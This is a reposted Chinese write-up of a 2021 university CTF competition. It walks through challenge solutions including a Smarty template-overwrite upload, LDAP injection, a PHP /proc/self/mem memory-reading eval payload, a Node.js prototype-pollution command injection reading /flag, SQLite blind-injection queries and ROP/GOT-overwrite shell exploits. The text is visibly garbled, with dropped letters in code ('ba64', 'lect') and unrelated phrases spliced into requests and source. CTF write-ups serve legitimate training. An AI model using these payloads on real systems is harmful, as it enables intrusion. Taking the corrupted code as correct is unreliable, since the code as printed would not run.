2021年第⼀届“东软杯”⽹络安全CTF竞赛-官⽅WriteUp(转)
MISC
1 签到
难度 签到
复制给出的flag输⼊即可
2 ra nge_do w nlo a d
难度 中等
flag{6095B134-5437-4B21-BE52-EDC46A276297}
0x01
分析dns流量,发现dns && ip.addr=1.1.1.1存在dns隧道数据,整理后得到ba64:
cGFzc3dvcmQ6IG5zc195eWRzIQ==
解ba64得到:
password: nss_yyds!
0x02
分析http流量,发现ip.addr==172.21.249.233存在http分段下载数据,每次按照请求头range要求只下载⼀个字节。由于是random下载,所以需要按顺序整理,整理后可以得到⼀个
加密的压缩包。
在整理过程中会发现缺失2349位字节,需要尝试对其进⾏修复。
由于0x01中,我们得到了zip的密码,所以可以对该字节进⾏爆破,如果密码正确,则修复成功。
0x03
解开压缩包得到⼆维码,
扫描后得到:
5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846 ciphey分析得到flag:
ciphey "5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e3270735158633│ The plaintext is a Capture The Flag (CTF) Flag │
│ Formats ud: │
│ hexadecimal │
│ ba64 │
│ utf8 │
│ ba62 │
│ ba58_bitcoin │
│ ba32 │
│ utf8Plaintext: "flag{6095B134-5437-4B21-BE52-EDC46A276297}" │╰────────────────────────────────────────────────────────────────╯
0x04
题⽬流量⽣成脚本:
import os
import time
import requests
import random
for i in"cG Fz c3 dv cm Q6 IG 5z c1 95 eW Rz IQ ==".split(" "):
os.system("nslookup "+i+".usoft.edu 1.1.1.1")
time.sleep(5)
l=int(requests.head("172.21.249.233/flag.7z",stream=True).headers["Content-Length"])
a=t()
while len(a)!=l:
b=random.randint(0,l)
("172.21.249.233/flag.7z",stream=True,headers={"Range":"bytes="+str(b)+"-"+str(b)})
if r.status_code==416:
print(b)
a.add(b)
print(len(a))
3 只是个PN G,别想太多了.png
难度 签到
flag:flag{zhe_ti_mu_ye_tai_bt_le_XD}
本题考察的是对PNG结构以及常见⼯具的使⽤。
题⽬只是在IDAT数据当中存储了多余的zlib数据流,通过binwalk可以直接进⾏解压缩。
binwalk -Me PNG.png
4 png被打得很惨,现在卷⼟从来
难度 难
flag:
flag{zheshirenchude}
本题考察的是对PNG结构以及常见出题点的了解程度
打开题⽬是PNG图⽚,binwalk⽆异常
010editor打开发现crc异常,结构暂时没啥问题。
tweakpng打开发现,IHDR,IDAT,IEND数据块的CRC值均不对。
之后⽤StegSolve查看,发现图⽚有隐藏的框。框选出了IDAT data,说明IDAT数据应该有特殊之处需要查看。
图⽚本⾝的信息就这么多,从PNG结构来⼀点点看,⾸先IHDR区块CRC有问题,⼀般说明是图⽚⾼度被修改,通过CRC反计算脚本(或者直接修改⾼度值盲试)发现图⽚下⾯有隐藏图像。stegSolve查看,发现有隐藏图案
三个框分别圈出了png图⽚的⼀些数据结构,第⼆个框显⽰png图像数据使⽤zlib⽅式压缩。框选此处说明需要注意zlib压缩数据。
第三个框是具体压缩块数据结构。此图⽚内容为libpng官⽹⽂档截图,但是实际访问官⽹,可发现标注的压缩块结构标注并不符合。
数字被故意修改过,所以可知2233这串数字应该为题⽬的某个key或者hint。
之后所有的IDAT数据块CRC值均不正确。将所有CRC值拷贝下来。hex解码。发现是hint
hint is[IEND_and_11]_jiayou_XD.
根据hint查看IEND,正常IEND数据应为空,仅作为⽂件结束标志。但是现在却有数据。
提取数据,发现前四位为9C 78,⽽zlib数据头为78 9C。修改前四位进⾏解压。发现是ba64,之后进⾏解码。最后得出flag第⼀段
flag{zheshi
得到第⼀段之后,hint⾥⾯的11,还没有解决。通过查看发现chunk 11,是最后⼀个IDAT数据块。根据之前还有⼀个hint 2233,全数据块搜索2233。发现数据块末尾含有2233,仅此⼀个
根据前⼀段flag,猜测此处也是zlib压缩,将从2233开头到CRC值之前的32个HEX值复制,修改2233为zlib数据头78 9C
发现解码完数据为⼀种编码,根据前⼀段flag来猜测,此处应该是其他ba家族类的编码。通过bacrack或者在线ba解码,可得知此为ba91,解码为renchude}
后⼀段flag为:renchude}
合并两段,得到最终flag
flag{zheshirenchude}
5 在哪呢
难度 简单
查看PDF
在⽂字中发现多处颜⾊越来越淡的提⽰
想到flag可能被以⽩⾊隐藏到⽂字中,全选⽂字
发现倒数第⼆段段尾有⼀段空⽩字
复制出来或编辑为其它颜⾊
得到flag
flag{hey_there_is_no_thing}
6 ec ryptedzip
难度:难
本题考察的是对明⽂攻击的实战应⽤ 在实际环境中不会主动提供明⽂⽂件⽤于明⽂攻击 需要⾃⼰寻找明⽂⽂件或部分明⽂进⾏攻击
压缩包内含有两个⽂件LICENSE和README.md
LICENSE为开源证书⽂件
将常⻅开源协议全下载下来 对⽐⼤⼩
发现Apache 2.0⼤⼩极为相近
使⽤github 内置的LICENSE⽂件可以成功解密
还有⼀种简单的⽅法 开源许可证很多都是空格开头 可以直接使⽤多个重复空格作为明⽂
7 ea systeg
难度 简单
可以看到⼀个缺少定位符的⼆维码,补全后拿到提⽰:⼀种常见的隐写
分离图⽚拿到压缩包
解压后配合观察图⽚名称格式,使⽤stegpy拿到flag
flag{Do_U_Kn0w_Ste9py??}
8 压缩包压缩包压缩包
难度 简单
第⼀层为50996.zip
写脚本解密递归压缩包 300层
解题脚本
mkdir zips
mkdir zips/files
mv 50996.zip ./zips
cd zips
while :
do
file=$(ls -t | tail -1)
pass=$(zipinfo $file| grep - | cut -d ' ' -f12 | cut -d . -f1)
unzip -P $pass$file
echo"unzip -P $pass$file"
mv $file ./files
done
最后⼀层为23333.zip 6位数字密码为756698
打开sqlite在employees表中找到flag
flag{Unz1p_i5_So_C00l##}
WEB
9 fla g
难度 中等
解法⼀
⼈⾁排序,然后⼝算ba64
解法⼆
等⽹站输出⾜够多,复制下来,然后利⽤⼤部分⽂本编辑器都⽀持的查找/替换功能将消息替换成类似如下的格式。
a=list("a"*20)
...
a[1]="a"
a[20]="b"
a[3]="c"
...
# 最后
import ba64
print(ba64.b64decode(''.join(a)))
解法三
题⽬SSE实时推送消息⾄浏览器,路由为'/flag',可以直接:
import ba64
from sclient import SSEClient
flag=""
for msg in SSEClient('127.0.0.1/flag'):
msg=(str(msg).split(","))
msg[1]=str(msg[1]).replace("叉(⼩写)","x").replace("叉(⼤写)","X")
if flag=="":
flag=list("?"*int(msg[0][2:-1])
)
if"?"not in"".join(flag):
break
flag[int(msg[1][1:-3])]=msg[1][-1]
print(ba64.b64decode("".join(flag)))
等着输出就⾏了
T ip s
10 o dd_uplo a d
本题考察的是新⽣对模板引擎的认识.
难度:中等
通过页⾯提⽰.很容易发现题⽬使⽤了smarty模板引擎的demo项⽬
题⽬提供了⼀个上传点. 后端使⽤了严格的后缀⿊名单防⽌上传php或Apache配置⽂件.
可通过覆盖模板⽂件.tpl 控制模板内容
POST /? HTTP/1.1
Host:
Ur-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
海尔冰箱评价Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------43155698238817916993932117986
Content-Length: 365
Origin:
风光无限好DNT: 1
Connection: clo
Referer:
Upgrade-Incure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="file"; filename="header.tpl"
Content-Type: application/octet-stream
{phpinfo()}
-----------------------------43155698238817916993932117986
民间艺术品Content-Disposition: form-data; name="path"
templates/
-----------------------------43155698238817916993932117986--
再次访问⾸页 之前修改的模板被渲染 执⾏phpinfo函数 拿到环境变量中的flag
11 Ea syinjec t
本题考察的是Ldap注⼊
难度:简单
⾸先通过页⾯注释账号登陆 发现提⽰ flag是在⽬录⾥⾯的某⼀个⽤户的邮箱属性
通过关键词“⽬录“ “属性”可判断出题⽬使⽤了ldap 或在fuzz时页⾯报错也可以判断出使⽤了ldap
这时可以使⽤通配符*猜测邮箱
L*
Ld*
Lda*
这⾥注意有重叠的字符串需要额外做处理
Ps 在读提交上来的wp时发现很多同学都是先跑出⽤户在跑邮箱 并且猜测出了原过滤器还构造了复杂的playload. 其实可以直接跑邮箱地址不⽤构造⽤户查询. 原本设计的是跑出ldap密码的题⽬. ⽐赛前觉得难度可能有点⾼不适合新⽣. 在收集的wp中居然有⼤佬跑出了原先设计的ldap密码. dltql
12 H idea ndek
难度:难
题⽬提⽰1: 要怎样才能读到内存⾥⾯的flag呢?
题⽬提⽰2: linuxの奇妙⽂件系统
<?php
highlight_file(__FILE__);
//docker
//FROM php:8.1.0
游学计划//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_tpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_class = FFI
//chmod -R 0555 html/
//php -S 0.0.0.0:8000
function main(){
$flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿
if($flag==''){
die('看来你失败了');
}
file_put_contents('/flag','');//我把它覆盖了都不给你( ̄▽ ̄)
test();品节
}
function test(){
eval($_REQUEST['eval']);//来试试读flag吧只有⼀次机会哦执⾏结束flag真的会消失的说重启容器间隔会很长时间呢本地试好了再来试试吧 (〜 ̄△ ̄)〜
}
if(ist($_REQUEST["eval"])){
main();
}
>
本题需要完成读取php进程内存操作
分析代码: 读取flag⽂件赋给$flag局部变量,⽬标是读取这个$flag变量的内容
但是⾛到test函数时不能读到其他函数的局部变量
只能通过读取内存获得flag.
这时可利⽤linux虚拟⽂件系统的特性读取内存
读取 /proc/lf/maps 获取 进程⾃⾝内存布局
使⽤获取到的布局信息读取⾃⾝内存
/proc/lf/mem (需要给出正确的偏移量才能成功读取)
eval=$maps = file_get_contents('/proc/lf/maps');$handle=fopen('/proc/lf/mem','r');$r=explode(PH
P_EOL,$maps);var_dump(explode('-',$r[7])[0]);fek($handle,hexdec(explode('-',$r[7])[0]));echo fread($handle,10000000);
在dump出的内存寻找flag{字符串 即可获得flag
13 dirtyr c e
13 dirtyrc
难度:难
var express=require('express');
var nodeCmd=require('node-cmd');
var bodyParr=require('body-parr');
const app=express();
var router=express.Router();
const port=80;
app.u(bodyParr.urlencoded({
extended:true
})).u(bodyParr.json());
function isValidIP(ip){
var reg=/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
st(ip);
}
app.post("/ping",
function(req,res,next){
b=d;
if(req.body.ping===undefined){
res.nd('invalid parm');
return;
}
ping=req.body.ping
if(ping.time!==undefined){
time=Number(ping.time);
if(time>10||time<1){
res.nd('invalid time');
return;
}
if(Object.keys(ping).length!=1&&ping.ip!==undefined&&ping.ip!=''){
if(!isValidIP(ping.ip)){
res.nd('invalid ip addr');
return;
}
他只是个孩子
}
}el{
res.nd('need time parm');
return;
}
ip=((ping.ip!==undefined&&ping.ip!='')?ping.ip:'114.114.114.114');
蜂古诗nodeCmd.run('ping -c '+time+' '+ip,//WINDOWS USE -n
function(err,data,stderr){
res.nd(data);
return;
});
});
<('/',
function(req,res,next){
});
<('/index',
function(req,res,next){
res.nd('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]" value="1"><input type="submit" value="Ping !"></form> ' });
app.listen(port);
/ping 路由内有命令执⾏操作 但是ip经过严格的正则校验 ⽆法绕过,time也有强制类型转换.
只能想办法绕过这个校验.
通读代码发现当输⼊参数数量为1且参数为time时不会校验flag内容.
在后续还会使⽤三元运算符判断ip是否为空.
构造原型污染 污染ping数组的原型 即可完成以上条件 达到命令执⾏的效果.
ping[__proto__][ip]=|cat /flag&ping[time]=10
14 w sc ha t
⼀个 nodejs+sqllite写的轻量聊天室
难度:?
本题考察特殊sql注⼊点的利⽤
现在使⽤ws协议的⽹站越来越多 (出题时我就想到了为什么不出⼀道题⽬来学学ws注⼊)
题⽬也使⽤了protobuf这是⼀种像json的结构化数据,在现在的httprpc中也⾮常常见.
该题前后端交互使⽤了socket.io,通信使⽤protobuf做结构化数据.
前端代码做了轻度混淆,并且具有反调试功能.
阅读前端代码发现,⽤户输⼊存在正则校验.
开始解题
去除反调试和正则校验(修改js)
⼿动测试发现注⼊点
登陆处存在注⼊
猜测语句为lect xx from xx where xx='urname'
注册⼀个账号adad 使⽤布尔注⼊
sqlite的布尔盲注⽅法
判断表数量
adad' and (lect count(*) from sqlite_master where type='table')=5 --
表名
and substr((lect name from sqlite_master where type='table' limit 0,1),1,1)='T'
列名
and substr((SELECT sql FROM sqlite_master where name='ur_table'),33,1)='I'
记录
and substr((SELECT f16g FROM f16g_1s_1n_th1s_table),1,1)='f'
RE
15 signin
直接查看字符串表即可获得flag
16 ha ppyCTF
这道题是⽤c++写的,其实代码核⼼很简单就只是单字节异或,所以把密⽂当成明⽂输⼊就能得到flag,只是验证的过程稍微⿇烦,是⼀个递归验证的算法,不过没什么⽤换成strcmp效果是⼀样的,只是起到⼀个迷惑的作⽤,原始代码很简单,但是开启代码优化以后再⽤ida反编译看起来就很乱了,这也是起到迷惑作⽤。加密的核⼼部分是⽤lambda匿名函数实现的起到⼀个加密代码隐藏的作⽤,防⽌这个最简单的加密被直接找到,所以下⼀次试试把密⽂当成flag输⼊,说不定有惊喜
17 R emember Crypt 4
如果对ctf常⽤的加密算法熟悉的话,看到ida的反汇编会很眼熟,这是⼀道很简单的rc4加密,该算法的特点是它可以⾃定义密码表,所以可以起到⼀点迷惑作⽤,但是没什么⽤,rc4是对称加密,所以只需把密⽂当成明⽂重新加密⼀边就能得到明⽂,所以碰到⼀些加密算法可以试试这个办法,万⼀是对称加密呢,直接就出flag了
贴⼀份rc4的代码
void rc4_init(unsigned char*s,unsigned char*key,unsigned long len)//s最开始是传⼊的长度为256的char型空数组,⽤来存放初始化后的s
//key是密钥,内容可定义 //最后⼀个len是密钥的长度
{
int i=0;
int j=0;
unsigned char k[256]={};
unsigned char temp=0;
for(i=0;i<256;i++)
{
s[i]=i;//0-255赋给s
k[i]=key[i%len];//将k重新计算
}
for(i=0;i<256;i++)
{
j=(j+s[i]+k[i])%256;//给j赋
temp=s[i];
s[i]=s[j];
s[j]=temp;//s[i]和s[j]交换
}
}
18 Ea syR e
獐肉
PWN
19 N ssSho p
难度:签到题
真 签到题 不会PWN的同学也可以来试试
⼀道⾮常简单的整数溢出题
在计算总价格时会发⽣溢出
达成0元购(x)
20 justdo it
把软件载⼊ida看⼀看反编译,很普通,发现主函数调⽤了read(),然后⼜调⽤了这个read_long(),看⼀眼内容
没什么奇怪的地⽅,看看反汇编
发现了奇怪的指令,add rbp,rax,⽽rax是上⾯read_long中atoi的输出,所以我们可以控制⼀下rbp的值
题⽬很简单,没有pie所以可以⽤rop,没有canary所以可以⽤bof,也可以部分劫持got表,也给了libc,我们可以⽤puts_plt 来泄漏 libc 的地址,通过⼀些调试之后,发现可以在payload中再次调⽤main函数来控制4个块的payload
在堆栈⾥,我们将main地址推送到 0x7fffffffde70 并添加 rbp 到达 0x7fffffffde68 的ip
然后当程序调⽤ leave,ret 时,rbp 会被设置为 = 0x00000a3131313131。
现在的 rsp 是 0x7ffffffffde78,但是在返回到 main 函数之后,有这两条指令
push rbp
和
mov rbp, rsp
看上⾯的堆栈图,红⾊块是前三个read_long()块⾥⾯的第⼆个,这个块我们可以放任意内容(块3需要放main地址,块1放string控制rbp),然后⽤payload pop_rdi, address, puts, ret 去泄露libc,然后返回main函数重⽤漏洞。
所以现在只需要放⼊payload pop_rdi、/bin/sh、system 然后控制 rbp 即可获得 shell。
21 rea llN eedGo o dLuc k
这个题就⽐较有意思了,在IDA可以看到代码很简单,代码内容就是可以让你在任意地址写⼊4个字节,软件也没有pie所以地址都是固定的,也可以劫持got表。
⾸先,把exit GOT改成main,这样我们就有了main函数的⽆限循环。然后我们可以根据需要覆盖任意多次。
题⽬的⼀种⽐较明显的解法是把atoi函数更改为system,然后将字符串“/bin/sh”放⼊nptr变量中,然后在调⽤atoi("/bin/sh")时,程序将执⾏system(" /bin /sh"),然后get shell
所以问题就是如何替换到正确的地址,因为atoi已经调⽤过,所以got表中有其libc地址,所以通过⽤system